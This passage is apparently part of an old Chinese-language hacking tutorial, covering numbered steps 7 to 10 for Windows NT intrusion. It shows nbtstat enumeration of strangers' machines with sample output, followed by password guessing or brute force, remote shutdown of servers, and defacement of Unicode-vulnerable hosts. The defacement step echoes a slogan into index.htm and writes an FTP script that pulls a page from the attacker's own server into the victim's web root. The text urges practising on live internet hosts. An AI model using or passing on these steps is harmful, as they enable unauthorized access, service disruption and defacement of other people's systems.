7∶nbtstat
如果你扫到一部NT的机子，他的136到139其中一个端口开了的话，就要用这个命令得到用户了。QQ:9750406顺便告诉大家这是netbios，得到用户名后就可以猜猜密码了。例如比较简单的密码，密码和用户名一样的，都试下，不行就暴力破解吧！
现在网上很多NT的机子都开了这些端口的，你可以练习下，我们来分析得到的结果。
命令是
nbtstat -A XX.XX.XX.XX
-A一定要大写哦。
下面是得到的结果。
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
Registered Registered Registered Registered Registered Registered Registered Reg
istered Registered Registered Registered
MAC Address = 00-E0-29-14-35-BA
PENTIUMII <00> UNIQUE
PENTIUMII <20> UNIQUE
ORAHOTOWN <00> GROUP
ORAHOTOWN <1C> GROUP
ORAHOTOWN <1B> UNIQUE
PENTIUMII <03> UNIQUE
INet~Services <1C> GROUP
IS~PENTIUMII...<00> UNIQUE
ORAHOTOWN <1E> GROUP
ORAHOTOWN <1D> UNIQUE
..__MSBROWSE__.<01> GROUP
粉红色的就是登陆过这部系统的用户，可能你不知道怎厶看，大家是不是看到了一窜数字，只要这窜数字是<03>的话，那他前面的就是用户。
这里的用户是PENTIUMII。
8∶Shutdown
关了对方的NT
服务器的命令
Shutdown \IP地址 t:20
20秒后将NT
自动关闭，三思后才能运行这个命令，这样对对方造很大的损失，要做个有良心的入侵者呀。
9∶DIR
这个命令没什厶好讲，但是却非常重要，他是查看一目录里的所有文件、文件夹。
你可以本地试下。
10∶echo
著名的
漏洞Unicode，这个命令可以简单的黑一下有这个
漏洞的主机。
我们假设我们要把“南京大屠杀铁证如山，任何日本人不得抵赖！”写入index.htm，有2种方法，大家看看有什厶区别。
echo 南京大屠杀铁证如山，任何日本人不得抵赖！>index.htm
echo 南京大屠杀铁证如山，任何日本人不得抵赖！>>index.htm
第一个的意思是覆盖index.htm原有的内容，把“南京大屠杀铁证如山，任何日本人不得抵赖！”写进index.htm。
第二个的意思是把“南京大屠杀铁证如山，任何日本人不得抵赖！”加到index.htm里面。
“>>”产生的内容将追加进文件中，“>”则将原文件内容覆盖。
大家可以本地试下。
可能你会问，这样简单黑下有什厶好玩的，其实他可以用来下载主页到对方的目录里。
1、首先，我们需要申请一个
免费的主页空间。
2、用echo在可写目录下建立如下内容的txt文件∶（以chinren
服务器为例。）
open upload.chinaren.com（你的FTP
服务器，申请时你的空间提供商会给你的）
cnhack（你申请时的用户名）
test（你申请时的密码）
get index.htm c:inetpubwwwrootindex.htm（这里是把你空间上的index.htm下载到对方的c:inetpubwwwrootindex.htm）
bye（退出FTP对话，相当在98下的DOS，用EXIT退出DOS）
